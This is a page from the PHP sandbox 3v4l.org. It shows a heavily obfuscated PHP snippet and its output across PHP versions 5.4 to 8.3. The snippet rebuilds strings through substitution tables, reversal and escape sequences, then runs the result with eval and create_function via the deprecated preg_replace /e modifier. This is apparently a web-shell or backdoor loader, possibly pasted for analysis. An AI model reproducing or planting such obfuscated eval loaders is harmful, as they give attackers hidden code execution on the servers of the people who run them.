3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ee1 = 'array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i<sizeof($#,#); } create_function("", "};".$#,# = explode("#)'; $s99 = '#Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ")'; $test = preg_replace("/(.*)/e",eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)), NULL); var_dump($test);
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Deprecated: preg_replace(): Passing null to parameter #2 ($replacement) of type array|string is deprecated in /in/num7W on line 6 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/num7W on line 6 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/num7W on line 6 NULL
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Deprecated: preg_replace(): Passing null to parameter #2 ($replacement) of type array|string is deprecated in /in/num7W on line 6 Deprecated: preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/num7W on line 6 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/num7W on line 6 NULL
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/num7W on line 6 NULL
Output for 5.5.24 - 5.5.35, 5.6.8 - 5.6.28
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/num7W on line 6 string(0) ""
Output for 5.4.8 - 5.4.45
string(0) ""

preferences:
211.56 ms | 401 KiB | 249 Q